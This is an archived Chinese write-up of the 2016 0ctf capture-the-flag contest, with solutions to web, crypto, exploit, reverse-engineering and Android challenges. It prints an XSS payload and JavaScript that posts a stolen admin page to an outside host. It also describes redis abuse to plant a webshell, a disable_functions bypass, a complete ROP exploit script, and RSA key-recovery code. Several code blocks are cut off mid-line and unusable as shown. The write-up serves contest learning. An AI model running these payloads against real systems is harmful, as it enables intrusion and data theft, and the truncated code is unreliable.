# 0ctf writeup Author: 乌云历史资料库 (@wooyun_archive) Published: 2016-03-17T02:24:00Z Canonical: https://wepostx.com/topics/134 > 乌云历史资料归档 > > **原始作者：** felixk3y > **原始编号：** superkieran-wooyundrops:1093 > **原始发布时间：** 2016-03-17 10:24 > **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。** --- Author：双螺旋安全研究院 # 0x00 Rand_2(web) 访问http://202.120.7.202:8888/，即可获取到题目的源码： ```text #!php 60){ session_destroy(); die('timeout'); } else { $_SESSION['time'] = time(); } echo rand(); if(isset($_GET['go'])){ $_SESSION['rand'] = array(); $i = 5; $d = ''; while($i--){ $r = (string)rand(); $_SESSION['rand'][] = $r; $d .= $r; } echo md5($d); }else if(isset($_GET['check'])){ if($_GET['ckeck'] === $_SESSION['rand']){ echo $flag; } else { echo 'die'; session_destroy(); } } else { show_source(__FILE__); } ?> ``` 由源码可以得知，在没有GET参数go的时候，会生成并输出一个随机数，当带上GET参数go的时候，会在session中写入五个随机数，并将他们组合起来的hash返回，如果提交的check和session[‘rand’]的值相等，则返回flag。参考：[http://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/](http://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/) 文章中提到了： ```text #!php state[i] = state[i-3] + state[i-31] return state[i] >> 1 ``` 根据这一思路，如果我们能得到连续的超过32个生成的随机数，就可以预测后面生成的数字。为了得到连续的随机数，使用requests.session来keep-alive。在实际测试中，我发现有时候预测出来的结果会和实际得到的结果差1，不过没有找到规律，所以没有管他，直接多跑了几遍就出来了flag，脚本如下： ```text #!python import requests while 1: s = requests.session() l = [] for i in range(50): l.append(int(s.get('http://202.120.7.202:8888/').content.split(' ``` # 0x02 Piapiapia(web) 代码审计题，flag在config.php文件。class.php文件里，有过滤函数： ![原文图片](/media/2016/06/f2492f6d04a1a0825cf37b763800c591) profile.php中有读取文件的代码： ![原文图片](/media/2016/06/b20bdf37093e31b6a13d302fcf8aeac5) 这里如果我们能控制$profile[‘photo’]的值，那么就可以读取config.php文件，从而获取flag。 $profile写入数据库时的代码如下： ![原文图片](/media/2016/06/4bfd11c3d4062778322eb9512514f4e8) ![原文图片](/media/2016/06/d32035cbb66cbbed673182f4a5ee773f) ![原文图片](/media/2016/06/7e749800e91dc22372f1bd4c19067ec9) 可以看出对$_POST[‘nickname’]的过滤是可以绕过的 ```text #!php if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) ``` 我们只要传入一个数组即可绕过正则和strlen的限制。同时在update_profile的时候，是将数组序列化之后的字符串传入filter，并将where替换成了hacker，导致字符串长度变长了1。于是可以利用这里来把我们构造的内容给挤出s:xx:”string”的范围，构造任意内容。队友把相关函数抠出来写了一个脚本来测试： ![原文图片](/media/2016/06/abac2fb5dc024df2139c53d67981d4c0) ![原文图片](/media/2016/06/e17178a47ab67154797d311669dd08d0) 为了构造photo字段，需要填充：";}s:5: "photo";s:10: "config.php 被闭合之后，完整的合法serialized array后面的字符会被忽略掉。一共多出来31个字符，所以需要31个where。构造nickname： ```text #!php nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php ``` 更新资料(update_file)后，访问profile.php，config.php的内容便写在img标签的data URL中。 # 0x03 Guestbook（1）(web) 首先我们随便提交一个message，看了下输出的HTML： ![原文图片](/media/2016/06/071eaf0bd267882cc276cb102edd6494) username写在div的id属性中，message写在JavaScript的data变量中，测试了几次后发现message里的\\会变成\，可以构造成任意字符。secret在URL的GET参数里。那么如果我们的secret包含，Chrome的XSS filter会认为HTML出现的是反射XSS的输出，把他给屏蔽掉无法执行。debug变量会引用到一个标签上去，把username写成debug则if(debug)就会为true，执行t.innerHTML = data，从而实现XSS。 POST数据包： ```text #!bash POST /message.php HTTP/1.1 Host: 202.120.7.201:8888 Content-Length: 832 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://202.120.7.201:8888 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36 Content-Type: application/x-www-form-urlencoded Referer: http://202.120.7.201:8888/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4 secret=1z1zfqwq%3Cscript%3Evar+debug%3Dfalse%3B%3C%2Fscript%3E&username=debug&message=\\x3cimg+src%3d%23+id%3dxssyou+style%3ddisplay%3anone+onerror%3deval(unescape(/alert%25281%2529/.source))%3b//\\x3e&action=submit ``` ![原文图片](/media/2016/06/401c373ba57f51412e4e563bd2e7e954) 写了几行JS来读取当前页面HTML，得到： ![原文图片](/media/2016/06/c5a279087191bd11a28eaf7afaac1800) 读取/admin/server_info.php： ```text #!php xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","/admin/server_info.php ",false);xmlhttp.send();r=xmlhttp.responseText;xmlhttp.responseText;xmlhttp.open("POST","http://pkav.net/1.php",false);xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");xmlhttp.send("d="+escape(r)); ``` 发现是一个PHP探针，带了一个phpinfo，phpinfo中会回显出整个$_COOKIE数组，得到flag ![原文图片](/media/2016/06/df2511c6c58c145770328f48261ac418) # 0x04 Guestbook(2) (web) 在guestbook(1)的phpinfo中，发现： ![原文图片](/media/2016/06/7bcfff52ac5031d85401aa4ad7bea407) 感觉是redis未授权访问，bind 127.0.0.1:6379，结合/admin/show.php中注释里提示的uploads目录，写webshell。于是初步的想法是通过XSS来访问redis，HTTP头会被当成无效指令，不影响其他行的执行。 ```text #!php xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","http://127.0.0.1:6379",false);xmlhttp.send('flushall\r\nset a ""','BGSAVE'].forEach(function(e){var i=document.createElement('input');i.name='a';i.value=e;f.appendChild(i);});f.method='POST';f.action='http://127.0.0.1:6379/';f.enctype='multipart/form-data';f.submit(); ``` 成功拿到webshell。然后先利用open_basedir的bypass列出来了/目录： ![原文图片](/media/2016/06/b04435ba1c6174ee5f17c6db98733b14) 发现有个flag_reader，应该是只能通过执行flag_reader来读/flag文件。利用 [https://raw.githubusercontent.com/beched/php_disable_functions_bypass/master/procfs_bypass.php](https://raw.githubusercontent.com/beched/php_disable_functions_bypass/master/procfs_bypass.php)这个的思路来bypass disable_functions，不过这个脚本不能直接用，因为/lib没在open_basedir里面，帮pwner把libc跟elf从/proc/self/mem里抠了出来，本来想让他直接去算偏移硬编码进去，他研究了一下之后说可以直接写代码段，不用改GOT表那么麻烦。最终利用代码： ```text #!php /usr/share/nginx/html/uploads/pkav/xxxxxxxxxxxx.txt", 'r'); ?> ``` ![原文图片](/media/2016/06/f5600110732a7d9e7c73cd1cb25fd161) # 0x05 OPM(Misc) 访问http://dl.0ops.net/opm，将文件下载回来，并载入winhex，通过头可以看出是个压缩文件，解压得到一个png图片，使用神器stegsolve分析，可以看到rgb的最低有效位存在数据，应该使用lsb算法隐藏信息 ![原文图片](/media/2016/06/5b2adf498f423e7c8aa0489a7910d86c) 观察最低位数据,根据头看出是一个压缩文件 ![原文图片](/media/2016/06/7ee245f7ac326c8073347878f26588e3) “save bin“保存成压缩文件，打开得到一个文件名为arm汇编指令的文本文件，qwq，安卓不懂，交给安卓牛分分钟秒掉。读取地址和指令txt文件，通过py排序生成bin文件。 ida加载bin文件，发现3段汇编代码，观察汇编模式，得到关键函数sub_5c 第一个部分：plt表 ```text #!bash ROM:00000000 00 C6 8F E2 ADR R12, 8 ROM:00000004 04 CA 8C E2 ADD R12, R12, #0x4000 ROM:00000008 0C F4 BC E5 LDR PC, [R12,#0x40C]! ``` 第二部分：jni函数 ```text #!bash ROM:0000000C 00 48 2D E9 STMFD SP!, {R11,LR} ROM:00000010 04 B0 8D E2 ADD R11, SP, #4 ROM:00000014 18 D0 4D E2 SUB SP, SP, #0x18 ROM:00000018 10 00 0B E5 STR R0, [R11,#var_10] ROM:0000001C 14 10 0B E5 STR R1, [R11,#var_14] ROM:00000020 18 20 0B E5 STR R2, [R11,#var_18] ROM:00000024 10 30 1B E5 LDR R3, [R11,#var_10] ROM:00000028 00 30 93 E5 LDR R3, [R3] ROM:0000002C A4 32 93 E5 LDR R3, [R3,#0x2A4] ROM:00000030 10 00 1B E5 LDR R0, [R11,#var_10] ROM:00000034 18 10 1B E5 LDR R1, [R11,#var_18] ROM:00000038 00 20 A0 E3 MOV R2, #0 ROM:0000003C 33 FF 2F E1 BLX R3 (获取字符串长度模式代码) ROM:00000040 08 00 0B E5 STR R0, [R11,#var_8] ROM:00000044 08 00 1B E5 LDR R0, [R11,#var_8] ROM:00000048 03 00 00 EB BL sub_5C ``` 查看算法，起始函数部分暴露key为16长度，其中BL 0xFFFFFF80实际为strlen。F5观察代码，发现其为16阶的线性方程组。 ```text #!bash ROM:0000005C 00 48 2D E9 STMFD SP!, {R11,LR} ROM:00000060 04 B0 8D E2 ADD R11, SP, #4 ROM:00000064 88 D0 4D E2 SUB SP, SP, #0x88 ROM:00000068 88 00 0B E5 STR R0, [R11,#str] ROM:0000006C 88 00 1B E5 LDR R0, [R11,#str] ROM:00000070 C2 FF FF EB BL 0xFFFFFF80 ROM:00000074 00 30 A0 E1 MOV R3, R0 ROM:00000078 10 00 53 E3 CMP R3, #0x10 ROM:0000007C 01 00 00 0A BEQ loc_88 ROM:00000080 88 30 1B E5 LDR R3, [R11,#str] ``` 等式右边的值为： ```text #!bash ans[15] = 0xFFFFCE56; ans[14] = 0x4FCE; ans[13] = 0x32DB; ans[12] = 0xFFFFE038; ans[11] = 0xFFFFA5C5; ans[10] = 0x7ACB; ans[9] = 0x442C; ans[8] = 0xFFFFD069; ans[7] = 0x3BA1; ans[6] = 0xFFFF963A; ans[5] = 0x6BAC; ans[4] = 0x21B6; ans[3] = 0x5081; ans[2] = 0xD0C2; ans[1] = 0xFFFFF5AB; ans[0] = 0xFFFFE48E; ``` 输入方程系数，通过matlab矩阵求逆获得输入。计算结果为小数(我以为输入系数手误，对了3遍 2333...)。最后四舍五入取证代入校验算法，通过后得到key: Tr4c1NgF0RFuN! # 0x06 RSA ?( Crypto) ```text #!bash ➜ rsa openssl rsa -pubin -text -modulus -in warmup -in public.pem Modulus (314 bit): 02:ca:a9:c0:9d:c1:06:1e:50:7e:5b:7f:39:dd:e3: 45:5f:cf:e1:27:a2:c6:9b:62:1c:83:fd:9d:3d:3e: aa:3a:ac:42:14:7c:d7:18:8c:53 Exponent: 3 (0x3) Modulus=2CAA9C09DC1061E507E5B7F39DDE3455FCFE127A2C69B621C83FD9D3D3EAA3AAC42147CD7188C53 writing RSA key -----BEGIN PUBLIC KEY----- MEEwDQYJKoZIhvcNAQEBBQADMAAwLQIoAsqpwJ3BBh5Qflt/Od3jRV/P4Seixpti HIP9nT0+qjqsQhR81xiMUwIBAw== -----END PUBLIC KEY----- ``` . ```text #!bash ➜ rsa python Python 2.7.11 (default, Jan 22 2016, 08:29:18) [GCC 4.2.1 Compatible Apple LLVM 7.0.2 (clang-700.1.81)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> int('0x2CAA9C09DC1061E507E5B7F39DDE3455FCFE127A2C69B621C83FD9D3D3EAA3AAC42147CD7188C53', 16) 23292710978670380403641273270002884747060006568046290011918413375473934024039715180540887338067L ``` 其中： ```text #!bash e = 3 n =23292710978670380403641273270002884747060006568046290011918413375473934024039715180540887338067L ``` 在[http://factordb.com/](http://factordb.com/)得到n的质因子分解式。 ```text #!bash n = 26440615366395242196516853423447 * 27038194053540661979045656526063 * 32581479300404876772405716877547 p = 26440615366395242196516853423447 q = 27038194053540661979045656526063 r = 32581479300404876772405716877547 ``` 但是这里n有三个质因子，查阅资料后发现rsa有种形式为multi-prime，不过这里$\varphi(n)$与e不互质，依然不满足multi-prime的关系。如果这个加密关系满足$C=M^e mod(n)$，那么我们就可以使用剩余定理尝试所有可能性。因为这里e为3。使用GP/PARI 对p、q、r算出所有满足$x^e mod(p)- c(mod(p))=0$的x。之后通过剩余定理尝试所有可能性并都打印出来获得flag: 0ctf{HahA!Thi5_1s_n0T_rSa~}。 ```text #!python from rsa_decrypt import chinese_remainder_theorem c = 2485360255306619684345131431867350432205477625621366642887752720125176463993839766742234027524 n = 23292710978670380403641273270002884747060006568046290011918413375473934024039715180540887338067 e = 3 p = 26440615366395242196516853423447 q = 27038194053540661979045656526063 r = 32581479300404876772405716877547 c_p = c % p c_q = c % q c_r = c % r p_roots = [13374868592866626517389128266735, 7379361747422713811654086477766, 5686385026105901867473638678946] q_roots = [19616973567618515464515107624812] r_roots = [13404203109409336045283549715377, 13028011585706956936052628027629, 6149264605288583791069539134541] for m_p in p_roots: for m_q in q_roots: for m_r in r_roots: data = chinese_remainder_theorem([(m_p, p), (m_q, q), (m_r, r)]) data = '0' + hex(data)[2:-1] if len(hex(data)[2:-1]) % 2 == 1 else hex(data)[2:-1] print data.decode('hex') ``` # 0x07 equation( Crypto) 根据题目将文件下载回来(http://dl.0ops.net/equation.zip)发现私钥中上半部分被打码了，使用binwalk跑了一下找到了私钥的一部分: ```text #!bash -----BEGIN RSA PRIVATE KEY----- [masked] Os9mhOQRdqW2cwVrnNI72DLcAXpXUJ1HGwJBANWiJcDUGxZpnERxVw7s0913WXNt V4GqdxCzG0pG5EHThtoTRbyX0aqRP4U/hQ9tRoSoDmBn+3HPITsnbCy67VkCQBM4 xZPTtUKM6Xi+16VTUnFVs9E4rqwIQCDAxn9UuVMBXlX2Cl0xOGUF4C5hItrX2woF 7LVS5EizR63CyRcPovMCQQDVyNbcWD7N88MhZjujKuSrHJot7WcCaRmTGEIJ6TkU 8NWt9BVjR4jVkZ2EqNd0KZWdQPukeynPcLlDEkIXyaQx -----END RSA PRIVATE KEY----- ``` 再用pngcheck检查图片，发现了IEND块有附加数据，验证为上述私钥的部分字符串。 ```text #!bash ➜ equation pngcheck -v mask.png File: mask.png (30810 bytes) chunk IHDR at offset 0x0000c, length 13 717 x 384 image, 32-bit RGB+alpha, non-interlaced chunk sRGB at offset 0x00025, length 1 rendering intent = perceptual chunk gAMA at offset 0x00032, length 4: 0.45455 chunk pHYs at offset 0x00042, length 9: 3780x3780 pixels/meter (96 dpi) chunk IDAT at offset 0x00057, length 30327 zlib: deflated, 32K window, fast compression chunk IEND at offset 0x076da, length 0 additional data after IEND chunk ERRORS DETECTED in mask.png ➜ equation ``` 开始一直纠结可能数据还在图片里，后来想想看密钥的一部分字符串给了出来是为了方便分析吗？便去google RSA证书文件信息。 ```text #!bash RSAPrivateKey ::= SEQUENCE { version Version, modulus INTEGER, -- n publicExponent INTEGER, -- e privateExponent INTEGER, -- d prime1 INTEGER, -- p prime2 INTEGER, -- q exponent1 INTEGER, -- d mod (p-1) exponent2 INTEGER, -- d mod (q-1) coefficient INTEGER, -- (inverse of q) mod p otherPrimeInfos OtherPrimeInfos OPTIONAL } ``` 发现残余的部分含有 e、d mod(p-1)和d mod (q-1)。这样我们就可以暴力跑出来p，q。 ```text #!python import gmpy d_p = 0xd5a225c0d41b16699c4471570eecd3dd7759736d5781aa7710b31b4a46e441d386da1345bc97d1aa913f853f850f6d4684a80e6067fb71cf213b276c2cbaed59 d_q = 0x1338c593d3b5428ce978bed7a553527155b3d138aeac084020c0c67f54b953015e55f60a5d31386505e02e6122dad7db0a05ecb552e448b347adc2c9170fa2f3 e = 65537 for k_p in range(1, e): if (e*d_p - 1) % k_p == 0: p = (e*d_p - 1) / k_p + 1 if gmpy.is_prime(p): print '[p] {}'.format(p) break for k_q in range(1, e): if (e*d_q - 1) % k_q == 0: q = (e*d_q - 1) / k_q + 1 if gmpy.is_prime(q): print '[q] {}'.format(q) break # [p] 12883429939639100479003058518523248493821688207697138417834631218638027564562306620214863988447681300666538212918572472128732943784711527013224777474072569 # [q] 12502893634923161599824465146407069882228513776947707295476805997311776855879024002289593598657949783937041929668443115224477369136089557911464046118127387 ``` 直接用p，q，e算出d。则m=pow(c, d, n)。 flag:0ctf{Keep_ca1m_and_s01ve_the_RSA_Eeeequati0n!!!} # 0x08 Warmup(Exploit) 根据题目描述，这道题目只能去读取/home/warmup/flag。实际测试不能执行execve等系统调用。在栈中布置payload可以进行rop调用open，read，write来读取flag。 ```text #!python #!/usr/bin/env python2 from pwn import * #0ctf{welcome_it_is_pwning_time} r = remote('127.1', 4444) #r = remote('202.120.7.207', 52608) data = 0x080491BC read = 0x0804811D add_esp = 0x080481B8 flag = '/home/warmup/flag\x00' buf = data+len(flag) raw_input('debug') payload = 'A'*0x20 + p32(0x080480D8) + 'AAAA' * 4 r.send(payload) payload = 'A'*0x20 + p32(0x080480D8) + p32(add_esp) + p32(1) + p32(buf) + p32(64) r.send(payload) payload = 'A'*0x20 + p32(0x080480D8) + 'AAAA' * 3 + p32(0x08048135) r.send(payload) payload = 'B'*0x20 + p32(0x080480D8) + 'BBBB' * 4 r.send(payload) payload = 'B'*0x20 + p32(0x080480D8) + p32(buf) + p32(64) + 'BBBB' * 2 r.send(payload) payload = 'B'*0x20 + p32(0x080480D8) + 'BBBB' * 1 + p32(read) + p32(add_esp) + p32(3) r.send(payload) payload = 'C'*0x20 + p32(0x080480D8) + 'CCCC' * 4 r.send(payload * 2) payload = 'C'*0x20 + p32(0x080480D8) + p32(add_esp) + p32(data) + p32(0) + 'CCCC' r.send(payload) payload = 'D'*0x20 + p32(0x080480D8) + 'DDDD' * 3 + p32(0x08048122) r.send(payload * 3) #send flag payload = 'C'*0x20 + p32(read) + p32(0x0804815A) + p32(0) + p32(data) + p32(len(flag)) + flag r.send(payload) # eax = 5 payload = 'D'*0x20 + p32(read) + p32(add_esp) + p32(0) + p32(buf) + p32(5) + 'd'*5 r.send(payload) print r.recv(1024) ``` # 0x09 Sandbox(Exploit) 这道题给了warmup的sandox程序。逆向分析发现他通过ptrace限制了warmup只能调用open，read，write，alarm，exit，mmap，mprotect这些系统调用。并且open的第一个参数只能是”/home/warmup/flag”，但是这个处理逻辑可以绕过：当realpath的的第一个参数这个文件不存在的时候返回NULL。将文件地址写成“/proc/self/tasks/7777/../../../../home/sandbox/flag”，然后不断连接生成进程，当warmup的pid为7777时，sandbox的realpath调用返回NULL，同时warmp成功open了flag，就可以读取flag了。 ![原文图片](/media/2016/06/d185e9d6be884fe07c1a992c5fd6a78a) # 0x0A Trace(Reverse) 题目给了一个trace log。首先通过grep jal可以得到所调用的所有函数的起始地址，接着grep jr r31得到函数的结束地址，总共3个函数：00400770，004007d0，00400858，分别为strlen，strcpy和一个递归的快排。从log中根据地址剔去这几个函数的代码得到主函数，主函数首先生成了a-zA-Z0-9{} + flag这样的一个字符串，然后对其进行快排，接着对结果开始对比是否前一个字符串是否和后面的相同。分析log可以手工将后面对比是否相同的代码分解成几个基本块，接着写脚本分析基本块得到flag包含的字符：0111355555699cfkllmrrstt{}。 ```text #!python #!/usr/bin/python2 import string start = 0 table = string.digits + string.ascii_uppercase + string.ascii_lowercase+ '{}' result = '' i = 0 with open('./tail.log') as f: for line in f: if '[INFO]00400b90' in line: flag = True elif '[INFO]00400bbc' in line: flag = False i += 1 elif '[INFO]00400bc8' in line and flag: result += table[i] print result ``` 利用同样的方法分析快排程序得到快排结果： ```text #!python import string table = list(string.ascii_letters + string.digits + '{}') + range(26) f = open('858.log') def qsort(s, begin, end): t = True i, j= begin + 1, begin + 1 for l in f: if 'jr r31' in l: return elif '004008ac' in l: t = True elif '004008cc' in l: t = False s[i], s[j] = s[j], s[i] j, i = j+1, i+1 elif '00400920' in l and t: i += 1 elif '00400940' in l: s[j-1], s[begin] = s[begin], s[j-1] qsort(s, begin, j-1) elif '00400998' in l: qsort(s, j, end) qsort(table, 0, len(table)) print table ``` 将两者结合就得到了flag:0ctf{tr135m1k5l96551s9l5r} # 0x0B momo(Reverse) 下载文件时是一个32位的ELF文件，直接运行提示0ops try again，输入正确的Flag时提示Congratulations。在IDA中进程初步分析，发现程序代码中只包含了mov和jz两种指令，程序经过变形。程序中使用了多张表，来进行加法、减法、异或和或运算等操作。最后通过查表的方式来完成运行，并通过mov指令来实现，并以此来迷惑大家。 ![原文图片](/media/2016/06/d164ea4ca18ee0bfd8fb6796865c4839) ![原文图片](/media/2016/06/98fe7cc8874aafe180bc757dcad7c7e7) 经过分析，程序取输入lag取其中的28个字节来进行运算，因此输入Flag总共28个字节。在计算是，总共有两个长度为28个字节的参与固定运算的表，其中一个表依次与Flag中的每个字节进行加或者减运算操作，而另外一个则上一步得到的运算结果中的每个字节进行异或操作，最后将异或后结果依次进行或运算操作。如果最后结果为0，则提示成功，否则失败。大概流程如下： ```text #!bash Operate{+，-，-，+，-，-，+，+，+，-,+,+,+,+,-,+,+,+,-,+,-,-,+,+,+,-,-} Table1 {9,2,7,F,,7,7,9,4,E,8,13,6,1,1,3,1,9,0,9,9,9,2,1,A,5,6,21,7D} Table2{39,61,6D,75,74,66,39,5A,6D,41,48,65,75,56,75,30,57,39,68,5A,39,4E,30,4F,6F,39,21,7D} ``` 由于最后是要求与Table2进行或运算或者减法算操作，结果为0，因此要求输入Flag经过和Table1相应的运算后的结果和Table2应该相同，因此表Table2按字节减去或者加上对应的Table1中对应的字节即可的Flag：0ctf{m0V_I5_tUr1N9_c0P1Et3!} # 0x0C boomshakalaka(Mobile) 拿到apk先反编译，主Activity的java代码如图 ![原文图片](/media/2016/06/3dc80937bb797286fa290b15c985d1d4) 可以看到功能不多，主要使用a类和启动coco2d，分析a类，如图 ![原文图片](/media/2016/06/e77b6747794e0b2f325350dcbe3abeaf) a类功能是进行sharedpreferences存储，结合主Activity的调用得到可知创建了两个sharedpreferences文件，分别是flag.xml和CocosdxPrefsfile.xml，然后写入了数据，试玩一把，查看这两个文件 ![原文图片](/media/2016/06/e0b5b6480ee368d9d667b105a1e81769) flag中的内容看起来就像base64编码，解码可得bazingaaaa。不是flag。尝试用base64解码另一个。 ![原文图片](/media/2016/06/48e5c669288f4d432dd1931896a71049) 额，结果？提交果然不对，在主Activity里可以看到MGN0是固定输入每次启动程序会输入，是0tcf的编码。又玩了一把更新最高分，CocosdxPrefsfile.xml中的内容变成 ![原文图片](/media/2016/06/36669250741d2237999daf8fccbdda66) ```text MGN0ZntDMGNvUzJkX0FuRHJvdz99ZntDMGNvUzJkX0FuRHJvMWRfRzdz99 ``` 又追加了内容，格式很明显，中括内的内容添加了。 ```text MGN0 ZntDMGNvUzJkX0FuRHJv dz99 ZntDMGNvUzJkX0FuRHJvMWRfRz dz99 ``` 结合题目Highscore，看来是要到某一个分数才能写完。于是分析a类调用，发现java层和so都没有找到。后来想是不是直接访问了文件，在smali中查找CocosdxPrefsfile，果然发现，在cocos2dxhelper中也有对这个文件的操作。 ![原文图片](/media/2016/06/67560c4347b0b5ad3c419b1e38aeafdc) 然后分析这个类的调用，找到在so中的调用。 ![原文图片](/media/2016/06/4ce10f89f022075025c7dd7ba2a6b90c) 查找字符串，分析地址调用。根据调用找到关键函数，在_Z18setStringForKeyJNIPKcS0_中用Cocos2dxHelper进行string写入 ![原文图片](/media/2016/06/936b01bed6417c01364f4207c7e103b6) 然后再分析setstringforkey的调用。 ![原文图片](/media/2016/06/598b1e66786b28375b4699e59046688a) 写入的地方较多，查看了一下调用位置 ![原文图片](/media/2016/06/be36decd951415fe56038a197fc4630a) 可以看到写入的内容，每次写入两个字符，对比一下Cocos2dxPrefsFile文件中的字符串，发现差不多了。再分析发现下图绿框中写入的内容是初始化时写入的，每次都有所以就不分析了，而红框中的写入内容与得分相关。 ![原文图片](/media/2016/06/8e84b318359e9b42e821638adbbeda3a) 所以分析updatescore函数逻辑，获得写入顺序，构造字符串，成功字符串MGN0ZntDMGNvUzJkX0FuRHJvMWRfRzBtRV9Zb1VfS24wdz99 解码结果 0ctf{C0coS2d_AnDro1d_G0mE_YoU_Kn0w?} ## Replies